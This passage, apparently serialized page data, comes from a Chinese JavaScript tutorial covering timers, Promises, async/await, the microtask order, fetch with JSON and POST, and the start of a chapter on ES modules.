秒后见'",[331,71932,71933],{"class":337},") }, ",[331,71935,64797],{"class":344},[331,71937,972],{"class":337},[331,71939,71940,71943,71946],{"class":333,"line":341},[331,71941,71942],{"class":501},"clearTimeout",[331,71944,71945],{"class":337},"(id)          ",[331,71947,71948],{"class":1003},"\u002F\u002F 反悔：还没到点就取消\n",[331,71950,71951],{"class":333,"line":357},[331,71952,998],{"emptyLinePlaceholder":997},[331,71954,71955,71957,71960,71962,71965,71967,71969,71971,71973,71975,71977,71979,71982,71984],{"class":333,"line":371},[331,71956,951],{"class":616},[331,71958,71959],{"class":344}," clockId",[331,71961,957],{"class":616},[331,71963,71964],{"class":501}," setInterval",[331,71966,1486],{"class":337},[331,71968,1489],{"class":616},[331,71970,71923],{"class":337},[331,71972,3533],{"class":501},[331,71974,966],{"class":337},[331,71976,35155],{"class":616},[331,71978,71761],{"class":501},[331,71980,71981],{"class":337},"()) }, ",[331,71983,64797],{"class":344},[331,71985,972],{"class":337},[331,71987,71988,71990,71993],{"class":333,"line":384},[331,71989,71901],{"class":501},[331,71991,71992],{"class":337},"(clockId)    ",[331,71994,71995],{"class":1003},"\u002F\u002F 停止\n",[11,71997,71998,71999,72002],{},"关键词是「至少」：",[17,72000,72001],{},"定时器不会打断正在执行的代码","。如果一个循环要跑 3 秒，你设置的 1 秒定时器也得排队等它跑完：",[308,72004,72006],{"className":942,"code":72005,"language":944,"meta":314,"style":314},"setTimeout(() => console.log('定时器'), 0)\nfor (let i = 0; i \u003C 3; i++) console.log('循环 ' + i)\n\u002F\u002F 输出：循环 0、循环 1、循环 2、定时器\n\u002F\u002F 0 毫秒也不是立刻：先让当前这轮同步代码跑完\n",[22,72007,72008,72032,72071,72076],{"__ignoreMap":314},[331,72009,72010,72012,72014,72016,72018,72020,72022,72025,72028,72030],{"class":333,"line":334},[331,72011,22220],{"class":501},[331,72013,1486],{"class":337},[331,72015,1489],{"class":616},[331,72017,18119],{"class":337},[331,72019,3533],{"class":501},[331,72021,966],{"class":337},[331,72023,72024],{"class":365},"'定时器'",[331,72026,72027],{"class":337},"), ",[331,72029,628],{"class":344},[331,72031,972],{"class":337},[331,72033,72034,72036,72038,72040,72042,72044,72046,72048,72050,72052,72054,72056,72059,72061,72063,72066,72068],{"class":333,"line":341},[331,72035,18917],{"class":616},[331,72037,1147],{"class":337},[331,72039,18926],{"class":616},[331,72041,62616],{"class":337},[331,72043,518],{"class":616},[331,72045,680],{"class":344},[331,72047,62623],{"class":337},[331,72049,510],{"class":616},[331,72051,59421],{"class":344},[331,72053,62630],{"class":337},[331,72055,29231],{"class":616},[331,72057,72058],{"class":337},") console.",[331,72060,3533],{"class":501},[331,72062,966],{"class":337},[331,72064,72065],{"class":365},"'循环 '",[331,72067,6321],{"class":616},[331,72069,72070],{"class":337}," i)\n",[331,72072,72073],{"class":333,"line":357},[331,72074,72075],{"class":1003},"\u002F\u002F 输出：循环 0、循环 1、循环 2、定时器\n",[331,72077,72078],{"class":333,"line":371},[331,72079,72080],{"class":1003},"\u002F\u002F 0 毫秒也不是立刻：先让当前这轮同步代码跑完\n",[53,72082,72084],{"id":72083},"回调结果出来时叫我","回调：结果出来时叫我",[11,72086,72087],{},"早期 JS 的异步全写回调：把「拿到结果后要做的事」包成函数传进去。约定俗成的回调风格是错误优先——第一个参数放着错误：",[308,72089,72091],{"className":942,"code":72090,"language":944,"meta":314,"style":314},"orderTea((err, result) => {\n  if (err) {\n    console.log('失败：' + err.message)\n    return\n  }\n  console.log('成功：' + result)\n})\n",[22,72092,72093,72113,72119,72135,72140,72144,72160],{"__ignoreMap":314},[331,72094,72095,72098,72100,72102,72104,72107,72109,72111],{"class":333,"line":334},[331,72096,72097],{"class":501},"orderTea",[331,72099,3175],{"class":337},[331,72101,18233],{"class":2472},[331,72103,409],{"class":337},[331,72105,72106],{"class":2472},"result",[331,72108,3180],{"class":337},[331,72110,1489],{"class":616},[331,72112,1100],{"class":337},[331,72114,72115,72117],{"class":333,"line":341},[331,72116,1526],{"class":616},[331,72118,68627],{"class":337},[331,72120,72121,72123,72125,72127,72130,72132],{"class":333,"line":357},[331,72122,3530],{"class":337},[331,72124,3533],{"class":501},[331,72126,966],{"class":337},[331,72128,72129],{"class":365},"'失败：'",[331,72131,6321],{"class":616},[331,72133,72134],{"class":337}," err.message)\n",[331,72136,72137],{"class":333,"line":371},[331,72138,72139],{"class":616},"    return\n",[331,72141,72142],{"class":333,"line":384},[331,72143,453],{"class":337},[331,72145,72146,72148,72150,72152,72155,72157],{"class":333,"line":397},[331,72147,22619],{"class":337},[331,72149,3533],{"class":501},[331,72151,966],{"class":337},[331,72153,72154],{"class":365},"'成功：'",[331,72156,6321],{"class":616},[331,72158,72159],{"class":337}," result)\n",[331,72161,72162],{"class":333,"line":418},[331,72163,5399],{"class":337},[11,72165,72166],{},"能跑，但有著名的「回调地狱」问题：上一步的结果是下一步的输入，只能一层套一层，代码向右缩进成金字塔，错误处理还要每层重复。",[53,72168,72170],{"id":72169},"promise给未来的结果一个盒子","Promise：给「未来的结果」一个盒子",[11,72172,72173,72174,72177],{},"Promise 是一个代表未来结果的对象，三态：",[17,72175,72176],{},"pending（等结果）→ fulfilled（成功）或 rejected（失败）","，状态一旦落定就不可逆。",[308,72179,72181],{"className":942,"code":72180,"language":944,"meta":314,"style":314},"function orderTea() {\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      if (Math.random() > 0.3) resolve('一杯珍珠奶茶')      \u002F\u002F 兑现\n      else reject(new Error('打烊了'))                       \u002F\u002F 拒付\n    }, 800)\n  })\n}\n\norderTea()\n  .then((tea) => console.log('拿到：' + tea))       \u002F\u002F 成功走这里\n  .catch((err) => console.log('出错：' + err.message)) \u002F\u002F 失败走这里\n  .finally(() => console.log('收尾'))                \u002F\u002F 都走这里\n",[22,72182,72183,72192,72216,72227,72257,72282,72292,72296,72300,72304,72310,72342,72373],{"__ignoreMap":314},[331,72184,72185,72187,72190],{"class":333,"line":334},[331,72186,3047],{"class":616},[331,72188,72189],{"class":501}," orderTea",[331,72191,1072],{"class":337},[331,72193,72194,72196,72198,72201,72203,72206,72208,72210,72212,72214],{"class":333,"line":341},[331,72195,1633],{"class":616},[331,72197,1214],{"class":616},[331,72199,72200],{"class":344}," Promise",[331,72202,3175],{"class":337},[331,72204,72205],{"class":2472},"resolve",[331,72207,409],{"class":337},[331,72209,43799],{"class":2472},[331,72211,3180],{"class":337},[331,72213,1489],{"class":616},[331,72215,1100],{"class":337},[331,72217,72218,72221,72223,72225],{"class":333,"line":357},[331,72219,72220],{"class":501},"    setTimeout",[331,72222,1486],{"class":337},[331,72224,1489],{"class":616},[331,72226,1100],{"class":337},[331,72228,72229,72232,72235,72237,72239,72241,72243,72245,72247,72249,72252,72254],{"class":333,"line":371},[331,72230,72231],{"class":616},"      if",[331,72233,72234],{"class":337}," (Math.",[331,72236,17084],{"class":501},[331,72238,23168],{"class":337},[331,72240,42343],{"class":616},[331,72242,63194],{"class":344},[331,72244,3180],{"class":337},[331,72246,72205],{"class":501},[331,72248,966],{"class":337},[331,72250,72251],{"class":365},"'一杯珍珠奶茶'",[331,72253,28281],{"class":337},[331,72255,72256],{"class":1003},"\u002F\u002F 兑现\n",[331,72258,72259,72262,72265,72267,72269,72271,72273,72276,72279],{"class":333,"line":384},[331,72260,72261],{"class":616},"      else",[331,72263,72264],{"class":501}," reject",[331,72266,966],{"class":337},[331,72268,35155],{"class":616},[331,72270,1217],{"class":501},[331,72272,966],{"class":337},[331,72274,72275],{"class":365},"'打烊了'",[331,72277,72278],{"class":337},"))                       ",[331,72280,72281],{"class":1003},"\u002F\u002F 拒付\n",[331,72283,72284,72287,72290],{"class":333,"line":397},[331,72285,72286],{"class":337},"    }, ",[331,72288,72289],{"class":344},"800",[331,72291,972],{"class":337},[331,72293,72294],{"class":333,"line":418},[331,72295,69846],{"class":337},[331,72297,72298],{"class":333,"line":427},[331,72299,459],{"class":337},[331,72301,72302],{"class":333,"line":439},[331,72303,998],{"emptyLinePlaceholder":997},[331,72305,72306,72308],{"class":333,"line":450},[331,72307,72097],{"class":501},[331,72309,1540],{"class":337},[331,72311,72312,72314,72316,72318,72321,72323,72325,72327,72329,72331,72334,72336,72339],{"class":333,"line":456},[331,72313,66819],{"class":337},[331,72315,3122],{"class":501},[331,72317,3175],{"class":337},[331,72319,72320],{"class":2472},"tea",[331,72322,3180],{"class":337},[331,72324,1489],{"class":616},[331,72326,18119],{"class":337},[331,72328,3533],{"class":501},[331,72330,966],{"class":337},[331,72332,72333],{"class":365},"'拿到：'",[331,72335,6321],{"class":616},[331,72337,72338],{"class":337}," tea))       ",[331,72340,72341],{"class":1003},"\u002F\u002F 成功走这里\n",[331,72343,72344,72346,72348,72350,72352,72354,72356,72358,72360,72362,72365,72367,72370],{"class":333,"line":775},[331,72345,66819],{"class":337},[331,72347,1317],{"class":501},[331,72349,3175],{"class":337},[331,72351,18233],{"class":2472},[331,72353,3180],{"class":337},[331,72355,1489],{"class":616},[331,72357,18119],{"class":337},[331,72359,3533],{"class":501},[331,72361,966],{"class":337},[331,72363,72364],{"class":365},"'出错：'",[331,72366,6321],{"class":616},[331,72368,72369],{"class":337}," err.message)) ",[331,72371,72372],{"class":1003},"\u002F\u002F 失败走这里\n",[331,72374,72375,72377,72379,72381,72383,72385,72387,72389,72392,72395],{"class":333,"line":785},[331,72376,66819],{"class":337},[331,72378,1362],{"class":501},[331,72380,1486],{"class":337},[331,72382,1489],{"class":616},[331,72384,18119],{"class":337},[331,72386,3533],{"class":501},[331,72388,966],{"class":337},[331,72390,72391],{"class":365},"'收尾'",[331,72393,72394],{"class":337},"))                ",[331,72396,72397],{"class":1003},"\u002F\u002F 都走这里\n",[11,72399,72400],{},"三个值得记住的点：",[1773,72402,72403,72415,72425],{},[1662,72404,72405,5760,72408,72410,72411,72414],{},[22,72406,72407],{},".then",[22,72409,10859],{}," 的东西会被包成新的 Promise，所以可以",[17,72412,72413],{},"链式","往下串——这才解决了回调嵌套",[1662,72416,72417,72420,72421,72424],{},[22,72418,72419],{},"new Promise(executor)"," 里的执行器函数是",[17,72422,72423],{},"同步立刻执行","的，真正异步的是它注册进去的定时器\u002F网络回调",[1662,72426,72427,72428,72431,72432],{},"忘了 ",[22,72429,72430],{},".catch","，失败会变成「未处理的拒绝」，控制台报 ",[22,72433,72434],{},"Uncaught (in promise)",[53,72436,72438],{"id":72437},"async-await把-promise-写成人话","async \u002F await：把 Promise 写成人话",[11,72440,72441,72443,72444,72446],{},[22,72442,1063],{}," 函数里可以 ",[22,72445,3286],{}," 一个 Promise：等它落定，成功直接取出值，失败抛成异常——于是 try\u002Fcatch 就能管异步错误了：",[308,72448,72450],{"className":942,"code":72449,"language":944,"meta":314,"style":314},"async function buyTea() {\n  try {\n    const tea = await orderTea()   \u002F\u002F 等它落定；期间页面照常响应\n    console.log('拿到：' + tea)\n  } catch (err) {\n    console.log('出错：' + err.message)\n  }\n}\n",[22,72451,72452,72463,72469,72487,72502,72510,72524,72528],{"__ignoreMap":314},[331,72453,72454,72456,72458,72461],{"class":333,"line":334},[331,72455,1063],{"class":616},[331,72457,1066],{"class":616},[331,72459,72460],{"class":501}," buyTea",[331,72462,1072],{"class":337},[331,72464,72465,72467],{"class":333,"line":341},[331,72466,1097],{"class":616},[331,72468,1100],{"class":337},[331,72470,72471,72473,72476,72478,72480,72482,72484],{"class":333,"line":357},[331,72472,1105],{"class":616},[331,72474,72475],{"class":344}," tea",[331,72477,957],{"class":616},[331,72479,1119],{"class":616},[331,72481,72189],{"class":501},[331,72483,32115],{"class":337},[331,72485,72486],{"class":1003},"\u002F\u002F 等它落定；期间页面照常响应\n",[331,72488,72489,72491,72493,72495,72497,72499],{"class":333,"line":371},[331,72490,3530],{"class":337},[331,72492,3533],{"class":501},[331,72494,966],{"class":337},[331,72496,72333],{"class":365},[331,72498,6321],{"class":616},[331,72500,72501],{"class":337}," tea)\n",[331,72503,72504,72506,72508],{"class":333,"line":384},[331,72505,1314],{"class":337},[331,72507,1317],{"class":616},[331,72509,68627],{"class":337},[331,72511,72512,72514,72516,72518,72520,72522],{"class":333,"line":397},[331,72513,3530],{"class":337},[331,72515,3533],{"class":501},[331,72517,966],{"class":337},[331,72519,72364],{"class":365},[331,72521,6321],{"class":616},[331,72523,72134],{"class":337},[331,72525,72526],{"class":333,"line":418},[331,72527,453],{"class":337},[331,72529,72530],{"class":333,"line":427},[331,72531,459],{"class":337},[11,72533,72534,72535,72538,72539,72542],{},"注意：",[17,72536,72537],{},"await「暂停」的只是这个 async 函数，不是整个页面","——函数在 await 处让出控制权，其他事件照常跑，Promise 落定后它从下一行接着走。另外，async 函数永远返回 Promise，所以 ",[22,72540,72541],{},"buyTea()"," 拿到的是 Promise 而不是值；想在别处拿值，就继续 await 它。",[53,72544,72546],{"id":72545},"串行还是并行别让-await-排队","串行还是并行：别让 await 排队",[11,72548,72549],{},"常见翻车点：三个互不依赖的任务，写成三个 await 串着等，总耗时是三者之和：",[308,72551,72553],{"className":942,"code":72552,"language":944,"meta":314,"style":314},"await task('洗菜', 600)   \u002F\u002F 一个接着一个……总共约 1800ms\nawait task('切菜', 600)\nawait task('炒菜', 600)\n\nconst names = await Promise.all([task('烧水', 600), task('蒸饭', 600), task('备菜', 600)])\n\u002F\u002F 同时发车，约 600ms 拿到全部结果\n",[22,72554,72555,72577,72594,72611,72615,72674],{"__ignoreMap":314},[331,72556,72557,72559,72562,72564,72567,72569,72572,72574],{"class":333,"line":334},[331,72558,3286],{"class":616},[331,72560,72561],{"class":501}," task",[331,72563,966],{"class":337},[331,72565,72566],{"class":365},"'洗菜'",[331,72568,409],{"class":337},[331,72570,72571],{"class":344},"600",[331,72573,62134],{"class":337},[331,72575,72576],{"class":1003},"\u002F\u002F 一个接着一个……总共约 1800ms\n",[331,72578,72579,72581,72583,72585,72588,72590,72592],{"class":333,"line":341},[331,72580,3286],{"class":616},[331,72582,72561],{"class":501},[331,72584,966],{"class":337},[331,72586,72587],{"class":365},"'切菜'",[331,72589,409],{"class":337},[331,72591,72571],{"class":344},[331,72593,972],{"class":337},[331,72595,72596,72598,72600,72602,72605,72607,72609],{"class":333,"line":357},[331,72597,3286],{"class":616},[331,72599,72561],{"class":501},[331,72601,966],{"class":337},[331,72603,72604],{"class":365},"'炒菜'",[331,72606,409],{"class":337},[331,72608,72571],{"class":344},[331,72610,972],{"class":337},[331,72612,72613],{"class":333,"line":371},[331,72614,998],{"emptyLinePlaceholder":997},[331,72616,72617,72619,72621,72623,72625,72627,72629,72632,72634,72636,72638,72641,72643,72645,72647,72649,72651,72654,72656,72658,72660,72662,72664,72667,72669,72671],{"class":333,"line":384},[331,72618,951],{"class":616},[331,72620,66809],{"class":344},[331,72622,957],{"class":616},[331,72624,1119],{"class":616},[331,72626,72200],{"class":344},[331,72628,1192],{"class":337},[331,72630,72631],{"class":501},"all",[331,72633,9735],{"class":337},[331,72635,69783],{"class":501},[331,72637,966],{"class":337},[331,72639,72640],{"class":365},"'烧水'",[331,72642,409],{"class":337},[331,72644,72571],{"class":344},[331,72646,72027],{"class":337},[331,72648,69783],{"class":501},[331,72650,966],{"class":337},[331,72652,72653],{"class":365},"'蒸饭'",[331,72655,409],{"class":337},[331,72657,72571],{"class":344},[331,72659,72027],{"class":337},[331,72661,69783],{"class":501},[331,72663,966],{"class":337},[331,72665,72666],{"class":365},"'备菜'",[331,72668,409],{"class":337},[331,72670,72571],{"class":344},[331,72672,72673],{"class":337},")])\n",[331,72675,72676],{"class":333,"line":397},[331,72677,72678],{"class":1003},"\u002F\u002F 同时发车，约 600ms 拿到全部结果\n",[11,72680,72681,72684,72685,161],{},[22,72682,72683],{},"Promise.all"," 一荣俱荣：任一失败，整体立刻以第一个错误 reject。口诀：",[17,72686,72687],{},"有依赖才串行，没依赖用 Promise.all",[53,72689,72691],{"id":72690},"微任务与宏任务够用版","微任务与宏任务（够用版）",[11,72693,72694],{},"记住一个执行顺序就够用了：同步代码 → 微任务（Promise 回调、await 的续行）→ 宏任务（setTimeout \u002F setInterval 回调）：",[308,72696,72698],{"className":942,"code":72697,"language":944,"meta":314,"style":314},"setTimeout(() => console.log('定时器 0'), 0)\nPromise.resolve().then(() => console.log('Promise'))\nconsole.log('同步代码')\n\u002F\u002F 输出：同步代码 → Promise → 定时器 0\n",[22,72699,72700,72723,72752,72765],{"__ignoreMap":314},[331,72701,72702,72704,72706,72708,72710,72712,72714,72717,72719,72721],{"class":333,"line":334},[331,72703,22220],{"class":501},[331,72705,1486],{"class":337},[331,72707,1489],{"class":616},[331,72709,18119],{"class":337},[331,72711,3533],{"class":501},[331,72713,966],{"class":337},[331,72715,72716],{"class":365},"'定时器 0'",[331,72718,72027],{"class":337},[331,72720,628],{"class":344},[331,72722,972],{"class":337},[331,72724,72725,72728,72730,72732,72735,72737,72739,72741,72743,72745,72747,72750],{"class":333,"line":341},[331,72726,72727],{"class":344},"Promise",[331,72729,1192],{"class":337},[331,72731,72205],{"class":501},[331,72733,72734],{"class":337},"().",[331,72736,3122],{"class":501},[331,72738,1486],{"class":337},[331,72740,1489],{"class":616},[331,72742,18119],{"class":337},[331,72744,3533],{"class":501},[331,72746,966],{"class":337},[331,72748,72749],{"class":365},"'Promise'",[331,72751,8335],{"class":337},[331,72753,72754,72756,72758,72760,72763],{"class":333,"line":357},[331,72755,28055],{"class":337},[331,72757,3533],{"class":501},[331,72759,966],{"class":337},[331,72761,72762],{"class":365},"'同步代码'",[331,72764,972],{"class":337},[331,72766,72767],{"class":333,"line":371},[331,72768,72769],{"class":1003},"\u002F\u002F 输出：同步代码 → Promise → 定时器 0\n",[11,72771,72772],{},"它能解释大部分「为什么日志顺序和我想的不一样」；更深的机制（事件循环、任务队列）用到再补。",[4748,72774],{"height":72775,"src":72776,"title":72777},800,"\u002Ftutorials\u002Fjs\u002Fdemos\u002F18-async.html","示例 18：定时器、回调、Promise、async \u002F await 与串并行对比",[48,72779,72781],{"id":72780},"十九fetch-与-json和服务器说上话","十九、fetch 与 JSON：和服务器说上话",[11,72783,72784],{},"上一章的 Promise 和 async \u002F await，最大的用武之地就是网络请求。这一章把「页面的数据从哪来」这件事说透：新前端的第一口粮，就是从服务器 fetch 回来的 JSON。",[53,72786,72788],{"id":72787},"json跨语言的数据交换格式","JSON：跨语言的数据交换格式",[11,72790,72791,72792,72795,72796,72798,72799,72801],{},"JSON（JavaScript Object Notation）长得像 JS 对象字面量，但它是",[17,72793,72794],{},"格式","不是代码：键必须双引号、没有注释、没有函数，值只允许字符串、数字、布尔、null、数组、对象。你要说规则就一句：能 ",[22,72797,13254],{}," 出去、能 ",[22,72800,68917],{}," 回来，才算合法。",[308,72803,72805],{"className":942,"code":72804,"language":944,"meta":314,"style":314},"JSON.stringify({ name: '阿蓝', tags: ['js'] })   \u002F\u002F '{\"name\":\"阿蓝\",\"tags\":[\"js\"]}'\nJSON.parse('{\"page\": 2}')                        \u002F\u002F { page: 2 }\n",[22,72806,72807,72831],{"__ignoreMap":314},[331,72808,72809,72811,72813,72815,72817,72819,72822,72825,72828],{"class":333,"line":334},[331,72810,13165],{"class":344},[331,72812,1192],{"class":337},[331,72814,13170],{"class":501},[331,72816,20596],{"class":337},[331,72818,20599],{"class":365},[331,72820,72821],{"class":337},", tags: [",[331,72823,72824],{"class":365},"'js'",[331,72826,72827],{"class":337},"] })   ",[331,72829,72830],{"class":1003},"\u002F\u002F '{\"name\":\"阿蓝\",\"tags\":[\"js\"]}'\n",[331,72832,72833,72835,72837,72839,72841,72844,72847],{"class":333,"line":341},[331,72834,13165],{"class":344},[331,72836,1192],{"class":337},[331,72838,21019],{"class":501},[331,72840,966],{"class":337},[331,72842,72843],{"class":365},"'{\"page\": 2}'",[331,72845,72846],{"class":337},")                        ",[331,72848,72849],{"class":1003},"\u002F\u002F { page: 2 }\n",[11,72851,72852,72854],{},[22,72853,68917],{}," 遇到非法文本会抛 SyntaxError——内容来自外部（网络、存储、用户）时，必须包 try\u002Fcatch，这是第十二章就定下的纪律。",[53,72856,72858],{"id":72857},"fetch-的第一个反直觉404-也算成功","fetch 的第一个反直觉：404 也算「成功」",[11,72860,72861,72864,72865,72868,72869,72875],{},[22,72862,72863],{},"fetch(url)"," 返回 Promise，但它 ",[17,72866,72867],{},"resolve 的条件是「服务器有应答」","——404、500 都是有应答，照样 resolve；只有断网、DNS 失败这类网络层错误才 reject。所以",[17,72870,72871,72872],{},"拿到结果后必须自己检查 ",[22,72873,72874],{},"res.ok","（2xx 为 true）：",[1773,72877,72878,72881],{},[1662,72879,72880],{},"resolve ≠ 请求成功，只等于「有回音」",[1662,72882,72883,72884,72886,72887,72890],{},"没查 ",[22,72885,72874],{}," 的代码，会在 404 时拿着错误页去 ",[22,72888,72889],{},"json()","，然后以一种莫名其妙的方式崩掉",[11,72892,72893],{},"一个完整的「三段式」模板，以后所有 GET 都可以照抄：",[308,72895,72897],{"className":942,"code":72896,"language":944,"meta":314,"style":314},"async function getUsers() {\n  try {\n    const res = await fetch('\u002Fapi\u002Fusers')\n    if (!res.ok) throw new Error('HTTP ' + res.status)\n    return await res.json()\n  } catch (err) {\n    console.error('加载用户失败：', err.message)\n    return []\n  }\n}\n",[22,72898,72899,72910,72916,72936,72963,72976,72984,72997,73004,73008],{"__ignoreMap":314},[331,72900,72901,72903,72905,72908],{"class":333,"line":334},[331,72902,1063],{"class":616},[331,72904,1066],{"class":616},[331,72906,72907],{"class":501}," getUsers",[331,72909,1072],{"class":337},[331,72911,72912,72914],{"class":333,"line":341},[331,72913,1097],{"class":616},[331,72915,1100],{"class":337},[331,72917,72918,72920,72922,72924,72926,72929,72931,72934],{"class":333,"line":357},[331,72919,1105],{"class":616},[331,72921,9189],{"class":344},[331,72923,957],{"class":616},[331,72925,1119],{"class":616},[331,72927,72928],{"class":501}," fetch",[331,72930,966],{"class":337},[331,72932,72933],{"class":365},"'\u002Fapi\u002Fusers'",[331,72935,972],{"class":337},[331,72937,72938,72940,72942,72944,72947,72949,72951,72953,72955,72958,72960],{"class":333,"line":371},[331,72939,1144],{"class":616},[331,72941,1147],{"class":337},[331,72943,1150],{"class":616},[331,72945,72946],{"class":337},"res.ok) ",[331,72948,2507],{"class":616},[331,72950,1214],{"class":616},[331,72952,1217],{"class":501},[331,72954,966],{"class":337},[331,72956,72957],{"class":365},"'HTTP '",[331,72959,6321],{"class":616},[331,72961,72962],{"class":337}," res.status)\n",[331,72964,72965,72967,72969,72972,72974],{"class":333,"line":384},[331,72966,1545],{"class":616},[331,72968,1119],{"class":616},[331,72970,72971],{"class":337}," res.",[331,72973,327],{"class":501},[331,72975,1540],{"class":337},[331,72977,72978,72980,72982],{"class":333,"line":397},[331,72979,1314],{"class":337},[331,72981,1317],{"class":616},[331,72983,68627],{"class":337},[331,72985,72986,72988,72990,72992,72995],{"class":333,"line":418},[331,72987,3530],{"class":337},[331,72989,1333],{"class":501},[331,72991,966],{"class":337},[331,72993,72994],{"class":365},"'加载用户失败：'",[331,72996,68843],{"class":337},[331,72998,72999,73001],{"class":333,"line":427},[331,73000,1545],{"class":616},[331,73002,73003],{"class":337}," []\n",[331,73005,73006],{"class":333,"line":439},[331,73007,453],{"class":337},[331,73009,73010],{"class":333,"line":450},[331,73011,459],{"class":337},[11,73013,73014,73015,73018,73019,73022,73023,73026,73027,322,73030,73032,73033,73036],{},"读响应体有三个常用方法：",[22,73016,73017],{},"res.json()","（解析成对象）、",[22,73020,73021],{},"res.text()","（原始字符串）、",[22,73024,73025],{},"res.blob()","（二进制）。注意响应体是",[17,73028,73029],{},"一次性流",[22,73031,72889],{}," 读过了再 ",[22,73034,73035],{},"text()"," 会报错，二选一。",[53,73038,73040],{"id":73039},"post把数据送上去","POST：把数据送上去",[11,73042,73043,73044,73046,73047,17306,73049,73052],{},"发数据用第二个参数：method、headers、body。body 必须是",[17,73045,22883],{},"——对象要先 ",[22,73048,13254],{},[22,73050,73051],{},"Content-Type: application\u002Fjson"," 相当于告诉服务器「我给你的是 JSON，请按这个解」：",[308,73054,73056],{"className":942,"code":73055,"language":944,"meta":314,"style":314},"await fetch('\u002Fapi\u002Fusers', {\n  method: 'POST',\n  headers: { 'Content-Type': 'application\u002Fjson' },\n  body: JSON.stringify({ name: '阿蓝', role: 'member' }),\n})\n",[22,73057,73058,73070,73079,73093,73116],{"__ignoreMap":314},[331,73059,73060,73062,73064,73066,73068],{"class":333,"line":334},[331,73061,3286],{"class":616},[331,73063,72928],{"class":501},[331,73065,966],{"class":337},[331,73067,72933],{"class":365},[331,73069,8613],{"class":337},[331,73071,73072,73075,73077],{"class":333,"line":341},[331,73073,73074],{"class":337},"  method: ",[331,73076,9205],{"class":365},[331,73078,354],{"class":337},[331,73080,73081,73083,73086,73088,73091],{"class":333,"line":357},[331,73082,9311],{"class":337},[331,73084,73085],{"class":365},"'Content-Type'",[331,73087,348],{"class":337},[331,73089,73090],{"class":365},"'application\u002Fjson'",[331,73092,5251],{"class":337},[331,73094,73095,73098,73100,73102,73104,73106,73108,73111,73114],{"class":333,"line":371},[331,73096,73097],{"class":337},"  body: ",[331,73099,13165],{"class":344},[331,73101,1192],{"class":337},[331,73103,13170],{"class":501},[331,73105,20596],{"class":337},[331,73107,20599],{"class":365},[331,73109,73110],{"class":337},", role: ",[331,73112,73113],{"class":365},"'member'",[331,73115,30965],{"class":337},[331,73117,73118],{"class":333,"line":384},[331,73119,5399],{"class":337},[11,73121,73122],{},"查询参数用第十七章的 URLSearchParams 拼，省得手写转义：",[308,73124,73126],{"className":942,"code":73125,"language":944,"meta":314,"style":314},"const qs = new URLSearchParams({ q: '闭包', page: 2 })\nfetch('\u002Fapi\u002Fsearch?' + qs)   \u002F\u002F \u002Fapi\u002Fsearch?q=%E9%97%AD%E5%8C%85&page=2\n",[22,73127,73128,73154],{"__ignoreMap":314},[331,73129,73130,73132,73135,73137,73139,73141,73144,73147,73150,73152],{"class":333,"line":334},[331,73131,951],{"class":616},[331,73133,73134],{"class":344}," qs",[331,73136,957],{"class":616},[331,73138,1214],{"class":616},[331,73140,71173],{"class":501},[331,73142,73143],{"class":337},"({ q: ",[331,73145,73146],{"class":365},"'闭包'",[331,73148,73149],{"class":337},", page: ",[331,73151,9292],{"class":344},[331,73153,1139],{"class":337},[331,73155,73156,73158,73160,73163,73165,73168],{"class":333,"line":341},[331,73157,35933],{"class":501},[331,73159,966],{"class":337},[331,73161,73162],{"class":365},"'\u002Fapi\u002Fsearch?'",[331,73164,6321],{"class":616},[331,73166,73167],{"class":337}," qs)   ",[331,73169,73170],{"class":1003},"\u002F\u002F \u002Fapi\u002Fsearch?q=%E9%97%AD%E5%8C%85&page=2\n",[53,73172,73173],{"id":73173},"新手翻车清单",[1773,73175,73176,73185,73191,73199,73204,73218],{},[1662,73177,72427,73178,73180,73181,73184],{},[22,73179,3286],{},"：拿到的是 Promise 不是数据（",[22,73182,73183],{},"users.length"," 是 undefined）",[1662,73186,73187,73188,73190],{},"忘了查 ",[22,73189,72874],{},"：404 当成功处理",[1662,73192,73193,73194,73196,73197],{},"body 忘 ",[22,73195,13254],{},"：服务器收到 ",[22,73198,13258],{},[1662,73200,73201,73203],{},[22,73202,72889],{}," 当同步方法用：它是 async 的，要 await",[1662,73205,73206,73207,73210,73211,73213,73214,73217],{},"路径写相对 ",[22,73208,73209],{},"\u002Fapi\u002F..."," 时和页面不同源会被 CORS 拦：跨源需要",[17,73212,17297],{},"在响应头里点头（",[22,73215,73216],{},"Access-Control-Allow-Origin","），这是后端配置问题，不是 fetch 写法问题",[1662,73219,73220,73221,73223],{},"拿网络数据直接塞 ",[22,73222,3770],{},"：XSS 老问题，回顾第十四章",[53,73225,73226],{"id":73226},"本章示例的说明",[11,73228,73229,73230,1901,73232,1901,73235,73237,73238],{},"示例跑在沙箱 iframe 里，没有可用的网络源，所以内置了一个「长得和 fetch 一样」的 fakeFetch（同样 600ms 延迟、同样返回带 ",[22,73231,7961],{},[22,73233,73234],{},"ok",[22,73236,72889],{}," 的响应对象）来完整演示流程：200 \u002F 404 \u002F 500 \u002F 断网四种结局、POST 提交、重新拉取列表。",[17,73239,73240],{},"真实项目里把它换成 fetch，流程一字不差。",[11,73242,73243],{},"下一章换个话题：代码越写越多，全塞一个文件迟早失控——模块化怎么拆、怎么 import \u002F export，以及交付前的工程习惯。",[4748,73245],{"height":6589,"src":73246,"title":73247},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F19-fetch.html","示例 19：fetch 流程——状态码、404\u002F500\u002F断网与 POST",[48,73249,73251],{"id":73250},"二十模块与工程习惯","二十、模块与工程习惯",[11,73253,73254,73255,73258],{},"到上一章为止，代码都写在单个 script 里。真实项目动辄几千行，全塞一个文件有三宗罪：",[17,73256,73257],{},"找不到、会撞名、没法复用","。这一章解决「代码怎么组织」，顺路把交付前该有的工程习惯过一遍。",[53,73260,73262],{"id":73261},"模块是什么自带作用域的文件","模块是什么：自带作用域的文件",[11,73264,73265],{},"一个 JS 文件加上几个 export，就是「模块」（ES Module）。浏览器原生支持，机制有四个要点：",[1773,73267,73268,73274,73280,73286],{},[1662,73269,73270,73273],{},[17,73271,73272],{},"自带作用域","：模块顶层的变量不会挂到 window（对比：传统 script 的顶层 var 和函数声明全是全局的，本章示例能看到这个差别的现场）",[1662,73275,73276,73279],{},[17,73277,73278],{},"显式接口","：只有 export 出去的东西，外面才拿得到",[1662,73281,73282,73285],{},[17,73283,73284],{},"单例","：同一个模块被多个地方 import，也只执行一次，共享同一份内部状态",[1662,73287,73288,73291,73292,73295],{},[17,73289,73290],{},"严格模式","：模块里自动开启 ",[22,73293,73294],{},"'use 